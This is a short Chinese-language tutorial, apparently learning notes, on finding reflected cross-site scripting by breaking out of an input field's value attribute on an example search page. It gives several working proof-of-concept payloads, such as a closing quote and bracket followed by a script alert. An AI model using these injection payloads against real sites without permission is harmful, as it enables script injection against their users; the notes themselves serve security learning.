从本章开始学习xss
如何查找xss:
拿到一个网站之后,随便找一个页面测试下
http://xss.com/product/product_searchProducts.action?productName=111
查看页面源代码为:
<input id="productName" name="productName" class="search_text" type="text" onfocus="javascript:jq(this).val('');" value="111"/>
把111变为: 111'</a
源代码:
<input id="productName" name="productName" class="search_text" type="text" onfocus="javascript:jq(this).val('');" value="111'</a"/>
构造xss为:首先闭合掉最开头的< 需要提交参数的时候先使用> 闭合掉
尝试提交 111><script>alert('a')</script>
源代码:
<input id="productName" name="productName" class="search_text" type="text" onfocus="javascript:jq(this).val('');" value="111><script>alert('a')</script>"/>
这个”是跟提交数据一起的,也需要在一开始就闭合
尝试: 111"><script>alert('a')</script>
源代码:
<input id="productName" name="productName" class="search_text" type="text" onfocus="javascript:jq(this).val('');" value="111"><script>alert('a')</script>"/>